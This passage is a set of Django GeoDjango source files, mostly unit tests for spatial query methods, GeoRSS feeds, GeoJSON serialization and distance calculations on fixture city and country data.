                '{"type":"Point","bbox":[-123.305196,48.462611,-123.305196,48.462611],'
                '"coordinates":[-123.305196,48.462611]}'
            )

        # Precision argument should only be an integer
        with self.assertRaises(TypeError):
            City.objects.geojson(precision='foo')

        # Reference queries and values.
        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 0)
        # FROM "geoapp_city" WHERE "geoapp_city"."name" = 'Pueblo';
        self.assertEqual(pueblo_json, City.objects.geojson().get(name='Pueblo').geojson)

        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 2) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Houston';
        # This time we want to include the CRS by using the `crs` keyword.
        self.assertEqual(houston_json, City.objects.geojson(crs=True, model_att='json').get(name='Houston').json)

        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 1) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Houston';
        # This time we include the bounding box by using the `bbox` keyword.
        self.assertEqual(victoria_json, City.objects.geojson(bbox=True).get(name='Victoria').geojson)

        # SELECT ST_AsGeoJson("geoapp_city"."point", 5, 3) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Chicago';
        # Finally, we set every available keyword.
        self.assertEqual(
            chicago_json,
            City.objects.geojson(bbox=True, crs=True, precision=5).get(name='Chicago').geojson
        )

    @skipUnlessDBFeature("has_gml_method")
    def test_gml(self):
        "Testing GML output from the database using GeoQuerySet.gml()."
        # Should throw a TypeError when trying to obtain GML from a
        # non-geometry field.
        qs = City.objects.all()
        with self.assertRaises(TypeError):
            qs.gml(field_name='name')
        ptown1 = City.objects.gml(field_name='point', precision=9).get(name='Pueblo')
        ptown2 = City.objects.gml(precision=9).get(name='Pueblo')

        if oracle:
            # No precision parameter for Oracle :-/
            gml_regex = re.compile(
                r'^<gml:Point srsName="EPSG:4326" xmlns:gml="http://www.opengis.net/gml">'
                r'<gml:coordinates decimal="\." cs="," ts=" ">-104.60925\d+,38.25500\d+ '
                r'</gml:coordinates></gml:Point>'
            )
        else:
            gml_regex = re.compile(
                r'^<gml:Point srsName="EPSG:4326"><gml:coordinates>'
                r'-104\.60925\d+,38\.255001</gml:coordinates></gml:Point>'
            )

        for ptown in [ptown1, ptown2]:
            self.assertTrue(gml_regex.match(ptown.gml))

        if postgis:
            self.assertIn('<gml:pos srsDimension="2">', City.objects.gml(version=3).get(name='Pueblo').gml)

    @skipUnlessDBFeature("has_kml_method")
    def test_kml(self):
        "Testing KML output from the database using GeoQuerySet.kml()."
        # Should throw a TypeError when trying to obtain KML from a
        #  non-geometry field.
        qs = City.objects.all()
        with self.assertRaises(TypeError):
            qs.kml('name')

        # Ensuring the KML is as expected.
        ptown1 = City.objects.kml(field_name='point', precision=9).get(name='Pueblo')
        ptown2 = City.objects.kml(precision=9).get(name='Pueblo')
        for ptown in [ptown1, ptown2]:
            self.assertEqual('<Point><coordinates>-104.609252,38.255001</coordinates></Point>', ptown.kml)

    def test_make_line(self):
        """
        Testing the `MakeLine` aggregate.
        """
        if not connection.features.supports_make_line_aggr:
            with self.assertRaises(NotImplementedError):
                City.objects.all().aggregate(MakeLine('point'))
            return

        # MakeLine on an inappropriate field returns simply None
        self.assertIsNone(State.objects.aggregate(MakeLine('poly'))['poly__makeline'])
        # Reference query:
        # SELECT AsText(ST_MakeLine(geoapp_city.point)) FROM geoapp_city;
        ref_line = GEOSGeometry(
            'LINESTRING(-95.363151 29.763374,-96.801611 32.782057,'
            '-97.521157 34.464642,174.783117 -41.315268,-104.609252 38.255001,'
            '-95.23506 38.971823,-87.650175 41.850385,-123.305196 48.462611)',
            srid=4326
        )
        # We check for equality with a tolerance of 10e-5 which is a lower bound
        # of the precisions of ref_line coordinates
        line = City.objects.aggregate(MakeLine('point'))['point__makeline']
        self.assertTrue(
            ref_line.equals_exact(line, tolerance=10e-5),
            "%s != %s" % (ref_line, line)
        )

    @skipUnlessDBFeature("has_num_geom_method")
    def test_num_geom(self):
        "Testing the `num_geom` GeoQuerySet method."
        # Both 'countries' only have two geometries.
        for c in Country.objects.num_geom():
            self.assertEqual(2, c.num_geom)

        for c in City.objects.filter(point__isnull=False).num_geom():
            # Oracle and PostGIS 2.0+ will return 1 for the number of
            # geometries on non-collections.
            self.assertEqual(1, c.num_geom)

    @skipUnlessDBFeature("supports_num_points_poly")
    def test_num_points(self):
        "Testing the `num_points` GeoQuerySet method."
        for c in Country.objects.num_points():
            self.assertEqual(c.mpoly.num_points, c.num_points)

        if not oracle:
            # Oracle cannot count vertices in Point geometries.
            for c in City.objects.num_points():
                self.assertEqual(1, c.num_points)

    @skipUnlessDBFeature("has_point_on_surface_method")
    def test_point_on_surface(self):
        "Testing the `point_on_surface` GeoQuerySet method."
        # Reference values.
        if oracle:
            # SELECT SDO_UTIL.TO_WKTGEOMETRY(SDO_GEOM.SDO_POINTONSURFACE(GEOAPP_COUNTRY.MPOLY, 0.05))
            # FROM GEOAPP_COUNTRY;
            ref = {'New Zealand': fromstr('POINT (174.616364 -36.100861)', srid=4326),
                   'Texas': fromstr('POINT (-103.002434 36.500397)', srid=4326),
                   }

        else:
            # Using GEOSGeometry to compute the reference point on surface values
            # -- since PostGIS also uses GEOS these should be the same.
            ref = {'New Zealand': Country.objects.get(name='New Zealand').mpoly.point_on_surface,
                   'Texas': Country.objects.get(name='Texas').mpoly.point_on_surface
                   }

        for c in Country.objects.point_on_surface():
            if spatialite:
                # XXX This seems to be a WKT-translation-related precision issue?
                tol = 0.00001
            else:
                tol = 0.000000001
            self.assertTrue(ref[c.name].equals_exact(c.point_on_surface, tol))

    @skipUnlessDBFeature("has_reverse_method")
    def test_reverse_geom(self):
        "Testing GeoQuerySet.reverse_geom()."
        coords = [(-95.363151, 29.763374), (-95.448601, 29.713803)]
        Track.objects.create(name='Foo', line=LineString(coords))
        t = Track.objects.reverse_geom().get(name='Foo')
        coords.reverse()
        self.assertEqual(tuple(coords), t.reverse_geom.coords)
        if oracle:
            with self.assertRaises(TypeError):
                State.objects.reverse_geom()

    @skipUnlessDBFeature("has_scale_method")
    def test_scale(self):
        "Testing the `scale` GeoQuerySet method."
        xfac, yfac = 2, 3
        tol = 5  # XXX The low precision tolerance is for SpatiaLite
        qs = Country.objects.scale(xfac, yfac, model_att='scaled')
        for c in qs:
            for p1, p2 in zip(c.mpoly, c.scaled):
                for r1, r2 in zip(p1, p2):
                    for c1, c2 in zip(r1.coords, r2.coords):
                        self.assertAlmostEqual(c1[0] * xfac, c2[0], tol)
                        self.assertAlmostEqual(c1[1] * yfac, c2[1], tol)

    @skipUnlessDBFeature("has_snap_to_grid_method")
    def test_snap_to_grid(self):
        "Testing GeoQuerySet.snap_to_grid()."
        # Let's try and break snap_to_grid() with bad combinations of arguments.
        for bad_args in ((), range(3), range(5)):
            with self.assertRaises(ValueError):
                Country.objects.snap_to_grid(*bad_args)
        for bad_args in (('1.0',), (1.0, None), tuple(map(six.text_type, range(4)))):
            with self.assertRaises(TypeError):
                Country.objects.snap_to_grid(*bad_args)

        # Boundary for San Marino, courtesy of Bjorn Sandvik of thematicmapping.org
        # from the world borders dataset he provides.
        wkt = ('MULTIPOLYGON(((12.41580 43.95795,12.45055 43.97972,12.45389 43.98167,'
               '12.46250 43.98472,12.47167 43.98694,12.49278 43.98917,'
               '12.50555 43.98861,12.51000 43.98694,12.51028 43.98277,'
               '12.51167 43.94333,12.51056 43.93916,12.49639 43.92333,'
               '12.49500 43.91472,12.48778 43.90583,12.47444 43.89722,'
               '12.46472 43.89555,12.45917 43.89611,12.41639 43.90472,'
               '12.41222 43.90610,12.40782 43.91366,12.40389 43.92667,'
               '12.40500 43.94833,12.40889 43.95499,12.41580 43.95795)))')
        Country.objects.create(name='San Marino', mpoly=fromstr(wkt))

        # Because floating-point arithmetic isn't exact, we set a tolerance
        # to pass into GEOS `equals_exact`.
        tol = 0.000000001

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.1)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr('MULTIPOLYGON(((12.4 44,12.5 44,12.5 43.9,12.4 43.9,12.4 44)))')
        self.assertTrue(ref.equals_exact(Country.objects.snap_to_grid(0.1).get(name='San Marino').snap_to_grid, tol))

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.05, 0.23)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr('MULTIPOLYGON(((12.4 43.93,12.45 43.93,12.5 43.93,12.45 43.93,12.4 43.93)))')
        self.assertTrue(
            ref.equals_exact(Country.objects.snap_to_grid(0.05, 0.23).get(name='San Marino').snap_to_grid, tol)
        )

        # SELECT AsText(ST_SnapToGrid("geoapp_country"."mpoly", 0.5, 0.17, 0.05, 0.23)) FROM "geoapp_country"
        # WHERE "geoapp_country"."name" = 'San Marino';
        ref = fromstr(
            'MULTIPOLYGON(((12.4 43.87,12.45 43.87,12.45 44.1,12.5 44.1,12.5 43.87,12.45 43.87,12.4 43.87)))'
        )
        self.assertTrue(
            ref.equals_exact(
                Country.objects.snap_to_grid(0.05, 0.23, 0.5, 0.17).get(name='San Marino').snap_to_grid,
                tol
            )
        )

    @skipUnlessDBFeature("has_svg_method")
    def test_svg(self):
        "Testing SVG output using GeoQuerySet.svg()."

        with self.assertRaises(TypeError):
            City.objects.svg(precision='foo')
        # SELECT AsSVG(geoapp_city.point, 0, 8) FROM geoapp_city WHERE name = 'Pueblo';
        svg1 = 'cx="-104.609252" cy="-38.255001"'
        # Even though relative, only one point so it's practically the same except for
        # the 'c' letter prefix on the x,y values.
        svg2 = svg1.replace('c', '')
        self.assertEqual(svg1, City.objects.svg().get(name='Pueblo').svg)
        self.assertEqual(svg2, City.objects.svg(relative=5).get(name='Pueblo').svg)

    @skipUnlessDBFeature("has_transform_method")
    def test_transform(self):
        "Testing the transform() GeoQuerySet method."
        # Pre-transformed points for Houston and Pueblo.
        htown = fromstr('POINT(1947516.83115183 6322297.06040572)', srid=3084)
        ptown = fromstr('POINT(992363.390841912 481455.395105533)', srid=2774)
        prec = 3  # Precision is low due to version variations in PROJ and GDAL.

        # Asserting the result of the transform operation with the values in
        #  the pre-transformed points.  Oracle does not have the 3084 SRID.
        if not oracle:
            h = City.objects.transform(htown.srid).get(name='Houston')
            self.assertEqual(3084, h.point.srid)
            self.assertAlmostEqual(htown.x, h.point.x, prec)
            self.assertAlmostEqual(htown.y, h.point.y, prec)

        p1 = City.objects.transform(ptown.srid, field_name='point').get(name='Pueblo')
        p2 = City.objects.transform(srid=ptown.srid).get(name='Pueblo')
        for p in [p1, p2]:
            self.assertEqual(2774, p.point.srid)
            self.assertAlmostEqual(ptown.x, p.point.x, prec)
            self.assertAlmostEqual(ptown.y, p.point.y, prec)

    @skipUnlessDBFeature("has_translate_method")
    def test_translate(self):
        "Testing the `translate` GeoQuerySet method."
        xfac, yfac = 5, -23
        qs = Country.objects.translate(xfac, yfac, model_att='translated')
        for c in qs:
            for p1, p2 in zip(c.mpoly, c.translated):
                for r1, r2 in zip(p1, p2):
                    for c1, c2 in zip(r1.coords, r2.coords):
                        # XXX The low precision is for SpatiaLite
                        self.assertAlmostEqual(c1[0] + xfac, c2[0], 5)
                        self.assertAlmostEqual(c1[1] + yfac, c2[1], 5)

    # TODO: Oracle can be made to pass if
    # union1 = union2 = fromstr('POINT (-97.5211570000000023 34.4646419999999978)')
    # but this seems unexpected and should be investigated to determine the cause.
    @skipUnlessDBFeature("has_unionagg_method")
    @no_oracle
    def test_unionagg(self):
        """
        Testing the `Union` aggregate.
        """
        tx = Country.objects.get(name='Texas').mpoly
        # Houston, Dallas -- Ordering may differ depending on backend or GEOS version.
        union1 = fromstr('MULTIPOINT(-96.801611 32.782057,-95.363151 29.763374)')
        union2 = fromstr('MULTIPOINT(-95.363151 29.763374,-96.801611 32.782057)')
        qs = City.objects.filter(point__within=tx)
        with self.assertRaises(ValueError):
            qs.aggregate(Union('name'))
        # Using `field_name` keyword argument in one query and specifying an
        # order in the other (which should not be used because this is
        # an aggregate method on a spatial column)
        u1 = qs.aggregate(Union('point'))['point__union']
        u2 = qs.order_by('name').aggregate(Union('point'))['point__union']
        tol = 0.00001
        self.assertTrue(union1.equals_exact(u1, tol) or union2.equals_exact(u1, tol))
        self.assertTrue(union1.equals_exact(u2, tol) or union2.equals_exact(u2, tol))
        qs = City.objects.filter(name='NotACity')
        self.assertIsNone(qs.aggregate(Union('point'))['point__union'])

    def test_within_subquery(self):
        """
        Test that using a queryset inside a geo lookup is working (using a subquery)
        (#14483).
        """
        tex_cities = City.objects.filter(
            point__within=Country.objects.filter(name='Texas').values('mpoly')).order_by('name')
        expected = ['Dallas', 'Houston']
        if not connection.features.supports_real_shape_operations:
            expected.append('Oklahoma City')
        self.assertEqual(
            list(tex_cities.values_list('name', flat=True)),
            expected
        )

    def test_non_concrete_field(self):
        NonConcreteModel.objects.create(point=Point(0, 0), name='name')
        list(NonConcreteModel.objects.all())

    def test_values_srid(self):
        for c, v in zip(City.objects.all(), City.objects.values()):
            self.assertEqual(c.point.srid, v['point'].srid)






from __future__ import unicode_literals

from django.contrib.gis import feeds

from .models import City


class TestGeoRSS1(feeds.Feed):
    link = '/city/'
    title = 'Test GeoDjango Cities'

    def items(self):
        return City.objects.all()

    def item_link(self, item):
        return '/city/%s/' % item.pk

    def item_geometry(self, item):
        return item.point


class TestGeoRSS2(TestGeoRSS1):
    def geometry(self, obj):
        # This should attach a <georss:box> element for the extent of
        # of the cities in the database.  This tuple came from
        # calling `City.objects.aggregate(Extent())` -- we can't do that call
        # here because `Extent` is not implemented for MySQL/Oracle.
        return (-123.30, -41.32, 174.78, 48.46)

    def item_geometry(self, item):
        # Returning a simple tuple for the geometry.
        return item.point.x, item.point.y


class TestGeoAtom1(TestGeoRSS1):
    feed_type = feeds.GeoAtom1Feed


class TestGeoAtom2(TestGeoRSS2):
    feed_type = feeds.GeoAtom1Feed

    def geometry(self, obj):
        # This time we'll use a 2-tuple of coordinates for the box.
        return ((-123.30, -41.32), (174.78, 48.46))


class TestW3CGeo1(TestGeoRSS1):
    feed_type = feeds.W3CGeoFeed


# The following feeds are invalid, and will raise exceptions.
class TestW3CGeo2(TestGeoRSS2):
    feed_type = feeds.W3CGeoFeed


class TestW3CGeo3(TestGeoRSS1):
    feed_type = feeds.W3CGeoFeed

    def item_geometry(self, item):
        from django.contrib.gis.geos import Polygon
        return Polygon(((0, 0), (0, 1), (1, 1), (1, 0), (0, 0)))

# The feed dictionary to use for URLs.
feed_dict = {
    'rss1': TestGeoRSS1,
    'rss2': TestGeoRSS2,
    'atom1': TestGeoAtom1,
    'atom2': TestGeoAtom2,
    'w3cgeo1': TestW3CGeo1,
    'w3cgeo2': TestW3CGeo2,
    'w3cgeo3': TestW3CGeo3,
}






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

from datetime import datetime

from django.contrib.gis.db.models import Extent
from django.contrib.gis.shortcuts import render_to_kmz
from django.db.models import Count, Min
from django.test import TestCase, skipUnlessDBFeature

from ..utils import no_oracle
from .models import City, PennsylvaniaCity, State, Truth


@skipUnlessDBFeature("gis_enabled")
class GeoRegressionTests(TestCase):
    fixtures = ['initial']

    def test_update(self):
        "Testing GeoQuerySet.update(). See #10411."
        pnt = City.objects.get(name='Pueblo').point
        bak = pnt.clone()
        pnt.y += 0.005
        pnt.x += 0.005

        City.objects.filter(name='Pueblo').update(point=pnt)
        self.assertEqual(pnt, City.objects.get(name='Pueblo').point)
        City.objects.filter(name='Pueblo').update(point=bak)
        self.assertEqual(bak, City.objects.get(name='Pueblo').point)

    def test_kmz(self):
        "Testing `render_to_kmz` with non-ASCII data. See #11624."
        name = "Åland Islands"
        places = [{
            'name': name,
            'description': name,
            'kml': '<Point><coordinates>5.0,23.0</coordinates></Point>'
        }]
        render_to_kmz('gis/kml/placemarks.kml', {'places': places})

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_extent(self):
        "Testing `extent` on a table with a single point. See #11827."
        pnt = City.objects.get(name='Pueblo').point
        ref_ext = (pnt.x, pnt.y, pnt.x, pnt.y)
        extent = City.objects.filter(name='Pueblo').aggregate(Extent('point'))['point__extent']
        for ref_val, val in zip(ref_ext, extent):
            self.assertAlmostEqual(ref_val, val, 4)

    def test_unicode_date(self):
        "Testing dates are converted properly, even on SpatiaLite. See #16408."
        founded = datetime(1857, 5, 23)
        PennsylvaniaCity.objects.create(name='Mansfield', county='Tioga', point='POINT(-77.071445 41.823881)',
                                        founded=founded)
        self.assertEqual(founded, PennsylvaniaCity.objects.datetimes('founded', 'day')[0])
        self.assertEqual(founded, PennsylvaniaCity.objects.aggregate(Min('founded'))['founded__min'])

    def test_empty_count(self):
        "Testing that PostGISAdapter.__eq__ does check empty strings. See #13670."
        # contrived example, but need a geo lookup paired with an id__in lookup
        pueblo = City.objects.get(name='Pueblo')
        state = State.objects.filter(poly__contains=pueblo.point)
        cities_within_state = City.objects.filter(id__in=state)

        # .count() should not throw TypeError in __eq__
        self.assertEqual(cities_within_state.count(), 1)

    # TODO: fix on Oracle -- get the following error because the SQL is ordered
    # by a geometry object, which Oracle apparently doesn't like:
    #  ORA-22901: cannot compare nested table or VARRAY or LOB attributes of an object type
    @no_oracle
    def test_defer_or_only_with_annotate(self):
        "Regression for #16409. Make sure defer() and only() work with annotate()"
        self.assertIsInstance(list(City.objects.annotate(Count('point')).defer('name')), list)
        self.assertIsInstance(list(City.objects.annotate(Count('point')).only('name')), list)

    def test_boolean_conversion(self):
        "Testing Boolean value conversion with the spatial backend, see #15169."
        t1 = Truth.objects.create(val=True)
        t2 = Truth.objects.create(val=False)

        val1 = Truth.objects.get(pk=t1.pk).val
        val2 = Truth.objects.get(pk=t2.pk).val
        # verify types -- shouldn't be 0/1
        self.assertIsInstance(val1, bool)
        self.assertIsInstance(val2, bool)
        # verify values
        self.assertIs(val1, True)
        self.assertIs(val2, False)






from django.contrib.gis.sitemaps import KMLSitemap, KMZSitemap

from .models import City, Country

sitemaps = {'kml': KMLSitemap([City, Country]),
            'kmz': KMZSitemap([City, Country]),
            }






from __future__ import unicode_literals

import json

from django.contrib.gis.geos import LinearRing, Point, Polygon
from django.core import serializers
from django.test import TestCase, skipUnlessDBFeature

from .models import City, MultiFields, PennsylvaniaCity


@skipUnlessDBFeature("gis_enabled")
class GeoJSONSerializerTests(TestCase):
    fixtures = ['initial']

    def test_builtin_serializers(self):
        """
        'geojson' should be listed in available serializers.
        """
        all_formats = set(serializers.get_serializer_formats())
        public_formats = set(serializers.get_public_serializer_formats())

        self.assertIn('geojson', all_formats),
        self.assertIn('geojson', public_formats)

    def test_serialization_base(self):
        geojson = serializers.serialize('geojson', City.objects.all().order_by('name'))
        geodata = json.loads(geojson)
        self.assertEqual(len(geodata['features']), len(City.objects.all()))
        self.assertEqual(geodata['features'][0]['geometry']['type'], 'Point')
        self.assertEqual(geodata['features'][0]['properties']['name'], 'Chicago')
        first_city = City.objects.all().order_by('name').first()
        self.assertEqual(geodata['features'][0]['properties']['pk'], str(first_city.pk))

    def test_geometry_field_option(self):
        """
        When a model has several geometry fields, the 'geometry_field' option
        can be used to specify the field to use as the 'geometry' key.
        """
        MultiFields.objects.create(
            city=City.objects.first(), name='Name', point=Point(5, 23),
            poly=Polygon(LinearRing((0, 0), (0, 5), (5, 5), (5, 0), (0, 0))))

        geojson = serializers.serialize('geojson', MultiFields.objects.all())
        geodata = json.loads(geojson)
        self.assertEqual(geodata['features'][0]['geometry']['type'], 'Point')

        geojson = serializers.serialize(
            'geojson',
            MultiFields.objects.all(),
            geometry_field='poly'
        )
        geodata = json.loads(geojson)
        self.assertEqual(geodata['features'][0]['geometry']['type'], 'Polygon')

        # geometry_field is considered even if not in fields (#26138).
        geojson = serializers.serialize(
            'geojson',
            MultiFields.objects.all(),
            geometry_field='poly',
            fields=('city',)
        )
        geodata = json.loads(geojson)
        self.assertEqual(geodata['features'][0]['geometry']['type'], 'Polygon')

    def test_fields_option(self):
        """
        The fields option allows to define a subset of fields to be present in
        the 'properties' of the generated output.
        """
        PennsylvaniaCity.objects.create(name='Mansfield', county='Tioga', point='POINT(-77.071445 41.823881)')
        geojson = serializers.serialize(
            'geojson', PennsylvaniaCity.objects.all(), fields=('county', 'point'),
        )
        geodata = json.loads(geojson)
        self.assertIn('county', geodata['features'][0]['properties'])
        self.assertNotIn('founded', geodata['features'][0]['properties'])
        self.assertNotIn('pk', geodata['features'][0]['properties'])

    def test_srid_option(self):
        geojson = serializers.serialize('geojson', City.objects.all().order_by('name'), srid=2847)
        geodata = json.loads(geojson)
        self.assertEqual(
            [int(c) for c in geodata['features'][0]['geometry']['coordinates']],
            [1564802, 5613214]
        )

    def test_deserialization_exception(self):
        """
        GeoJSON cannot be deserialized.
        """
        with self.assertRaises(serializers.base.SerializerDoesNotExist):
            serializers.deserialize('geojson', '{}')






from django.utils.encoding import python_2_unicode_compatible

from ..models import models
from ..utils import gisfield_may_be_null


@python_2_unicode_compatible
class NamedModel(models.Model):
    name = models.CharField(max_length=30)

    objects = models.GeoManager()

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


class SouthTexasCity(NamedModel):
    "City model on projected coordinate system for South Texas."
    point = models.PointField(srid=32140)
    radius = models.IntegerField(default=10000)


class SouthTexasCityFt(NamedModel):
    "Same City model as above, but U.S. survey feet are the units."
    point = models.PointField(srid=2278)


class AustraliaCity(NamedModel):
    "City model for Australia, using WGS84."
    point = models.PointField()
    radius = models.IntegerField(default=10000)


class CensusZipcode(NamedModel):
    "Model for a few South Texas ZIP codes (in original Census NAD83)."
    poly = models.PolygonField(srid=4269)


class SouthTexasZipcode(NamedModel):
    "Model for a few South Texas ZIP codes."
    poly = models.PolygonField(srid=32140, null=gisfield_may_be_null)


class Interstate(NamedModel):
    "Geodetic model for U.S. Interstates."
    path = models.LineStringField()


class SouthTexasInterstate(NamedModel):
    "Projected model for South Texas Interstates."
    path = models.LineStringField(srid=32140)












from __future__ import unicode_literals

from django.contrib.gis.db.models.functions import (
    Area, Distance, Length, Perimeter, Transform,
)
from django.contrib.gis.geos import GEOSGeometry, LineString, Point
from django.contrib.gis.measure import D  # alias for Distance
from django.db import connection
from django.db.models import F, Q
from django.test import TestCase, ignore_warnings, skipUnlessDBFeature
from django.utils.deprecation import RemovedInDjango20Warning

from ..utils import no_oracle, oracle, postgis
from .models import (
    AustraliaCity, CensusZipcode, Interstate, SouthTexasCity, SouthTexasCityFt,
    SouthTexasInterstate, SouthTexasZipcode,
)


@skipUnlessDBFeature("gis_enabled")
class DistanceTest(TestCase):
    fixtures = ['initial']

    def setUp(self):
        # A point we are testing distances with -- using a WGS84
        # coordinate that'll be implicitly transformed to that to
        # the coordinate system of the field, EPSG:32140 (Texas South Central
        # w/units in meters)
        self.stx_pnt = GEOSGeometry('POINT (-95.370401017314293 29.704867409475465)', 4326)
        # Another one for Australia
        self.au_pnt = GEOSGeometry('POINT (150.791 -34.4919)', 4326)

    def get_names(self, qs):
        cities = [c.name for c in qs]
        cities.sort()
        return cities

    def test_init(self):
        """
        Test initialization of distance models.
        """
        self.assertEqual(9, SouthTexasCity.objects.count())
        self.assertEqual(9, SouthTexasCityFt.objects.count())
        self.assertEqual(11, AustraliaCity.objects.count())
        self.assertEqual(4, SouthTexasZipcode.objects.count())
        self.assertEqual(4, CensusZipcode.objects.count())
        self.assertEqual(1, Interstate.objects.count())
        self.assertEqual(1, SouthTexasInterstate.objects.count())

    @skipUnlessDBFeature("supports_dwithin_lookup")
    def test_dwithin(self):
        """
        Test the `dwithin` lookup type.
        """
        # Distances -- all should be equal (except for the
        # degree/meter pair in au_cities, that's somewhat
        # approximate).
        tx_dists = [(7000, 22965.83), D(km=7), D(mi=4.349)]
        au_dists = [(0.5, 32000), D(km=32), D(mi=19.884)]

        # Expected cities for Australia and Texas.
        tx_cities = ['Downtown Houston', 'Southside Place']
        au_cities = ['Mittagong', 'Shellharbour', 'Thirroul', 'Wollongong']

        # Performing distance queries on two projected coordinate systems one
        # with units in meters and the other in units of U.S. survey feet.
        for dist in tx_dists:
            if isinstance(dist, tuple):
                dist1, dist2 = dist
            else:
                dist1 = dist2 = dist
            qs1 = SouthTexasCity.objects.filter(point__dwithin=(self.stx_pnt, dist1))
            qs2 = SouthTexasCityFt.objects.filter(point__dwithin=(self.stx_pnt, dist2))
            for qs in qs1, qs2:
                self.assertEqual(tx_cities, self.get_names(qs))

        # Now performing the `dwithin` queries on a geodetic coordinate system.
        for dist in au_dists:
            if isinstance(dist, D) and not oracle:
                type_error = True
            else:
                type_error = False

            if isinstance(dist, tuple):
                if oracle:
                    dist = dist[1]
                else:
                    dist = dist[0]

            # Creating the query set.
            qs = AustraliaCity.objects.order_by('name')
            if type_error:
                # A ValueError should be raised on PostGIS when trying to pass
                # Distance objects into a DWithin query using a geodetic field.
                with self.assertRaises(ValueError):
                    AustraliaCity.objects.filter(point__dwithin=(self.au_pnt, dist)).count()
            else:
                self.assertListEqual(au_cities, self.get_names(qs.filter(point__dwithin=(self.au_pnt, dist))))

    @skipUnlessDBFeature("has_distance_method")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_distance_projected(self):
        """
        Test the `distance` GeoQuerySet method on projected coordinate systems.
        """
        # The point for La Grange, TX
        lagrange = GEOSGeometry('POINT(-96.876369 29.905320)', 4326)
        # Reference distances in feet and in meters. Got these values from
        # using the provided raw SQL statements.
        #  SELECT ST_Distance(point, ST_Transform(ST_GeomFromText('POINT(-96.876369 29.905320)', 4326), 32140))
        #  FROM distapp_southtexascity;
        m_distances = [147075.069813, 139630.198056, 140888.552826,
                       138809.684197, 158309.246259, 212183.594374,
                       70870.188967, 165337.758878, 139196.085105]
        #  SELECT ST_Distance(point, ST_Transform(ST_GeomFromText('POINT(-96.876369 29.905320)', 4326), 2278))
        #  FROM distapp_southtexascityft;
        # Oracle 11 thinks this is not a projected coordinate system, so it's
        # not tested.
        ft_distances = [482528.79154625, 458103.408123001, 462231.860397575,
                        455411.438904354, 519386.252102563, 696139.009211594,
                        232513.278304279, 542445.630586414, 456679.155883207]

        # Testing using different variations of parameters and using models
        # with different projected coordinate systems.
        dist1 = SouthTexasCity.objects.distance(lagrange, field_name='point').order_by('id')
        dist2 = SouthTexasCity.objects.distance(lagrange).order_by('id')  # Using GEOSGeometry parameter
        if oracle:
            dist_qs = [dist1, dist2]
        else:
            dist3 = SouthTexasCityFt.objects.distance(lagrange.ewkt).order_by('id')  # Using EWKT string parameter.
            dist4 = SouthTexasCityFt.objects.distance(lagrange).order_by('id')
            dist_qs = [dist1, dist2, dist3, dist4]

        # Original query done on PostGIS, have to adjust AlmostEqual tolerance
        # for Oracle.
        tol = 2 if oracle else 5

        # Ensuring expected distances are returned for each distance queryset.
        for qs in dist_qs:
            for i, c in enumerate(qs):
                self.assertAlmostEqual(m_distances[i], c.distance.m, tol)
                self.assertAlmostEqual(ft_distances[i], c.distance.survey_ft, tol)

    @skipUnlessDBFeature("has_distance_method", "supports_distance_geodetic")
    @ignore_warnings(category=RemovedInDjango20Warning)
    def test_distance_geodetic(self):
        """
        Test the `distance` GeoQuerySet method on geodetic coordinate systems.
        """
        tol = 2 if oracle else 4

        # Testing geodetic distance calculation with a non-point geometry
        # (a LineString of Wollongong and Shellharbour coords).
        ls = LineString(((150.902, -34.4245), (150.87, -34.5789)))

        # Reference query:
        #  SELECT ST_distance_sphere(point, ST_GeomFromText('LINESTRING(150.9020 -34.4245,150.8700 -34.5789)', 4326))
        #  FROM distapp_australiacity ORDER BY name;
        distances = [1120954.92533513, 140575.720018241, 640396.662906304,
                     60580.9693849269, 972807.955955075, 568451.8357838,
                     40435.4335201384, 0, 68272.3896586844, 12375.0643697706, 0]
        qs = AustraliaCity.objects.distance(ls).order_by('name')
        for city, distance in zip(qs, distances):
            # Testing equivalence to within a meter.
            self.assertAlmostEqual(distance, city.distance.m, 0)

        # Got the reference distances using the raw SQL statements:
        #  SELECT ST_distance_spheroid(point, ST_GeomFromText('POINT(151.231341 -33.952685)', 4326),
        #    'SPHEROID["WGS 84",6378137.0,298.257223563]') FROM distapp_australiacity WHERE (NOT (id = 11));
        #  SELECT ST_distance_sphere(point, ST_GeomFromText('POINT(151.231341 -33.952685)', 4326))
        #  FROM distapp_australiacity WHERE (NOT (id = 11));  st_distance_sphere
        if connection.ops.postgis and connection.ops.proj_version_tuple() >= (4, 7, 0):
            # PROJ.4 versions 4.7+ have updated datums, and thus different
            # distance values.
            spheroid_distances = [60504.0628957201, 77023.9489850262, 49154.8867574404,
                                  90847.4358768573, 217402.811919332, 709599.234564757,
                                  640011.483550888, 7772.00667991925, 1047861.78619339,
                                  1165126.55236034]
            sphere_distances = [60580.9693849267, 77144.0435286473, 49199.4415344719,
                                90804.7533823494, 217713.384600405, 709134.127242793,
                                639828.157159169, 7786.82949717788, 1049204.06569028,
                                1162623.7238134]

        else:
            spheroid_distances = [60504.0628825298, 77023.948962654, 49154.8867507115,
                                  90847.435881812, 217402.811862568, 709599.234619957,
                                  640011.483583758, 7772.00667666425, 1047861.7859506,
                                  1165126.55237647]
            sphere_distances = [60580.7612632291, 77143.7785056615, 49199.2725132184,
                                90804.4414289463, 217712.63666124, 709131.691061906,
                                639825.959074112, 7786.80274606706, 1049200.46122281,
                                1162619.7297006]

        # Testing with spheroid distances first.
        hillsdale = AustraliaCity.objects.get(name='Hillsdale')
        qs = AustraliaCity.objects.exclude(id=hillsdale.id).distance(hillsdale.point, spheroid=True).order_by('id')
        for i, c in enumerate(qs):
            self.assertAlmostEqual(spheroid_distances[i], c.distance.m, tol)
        if postgis:
            # PostGIS uses sphere-only distances by default, testing these as well.
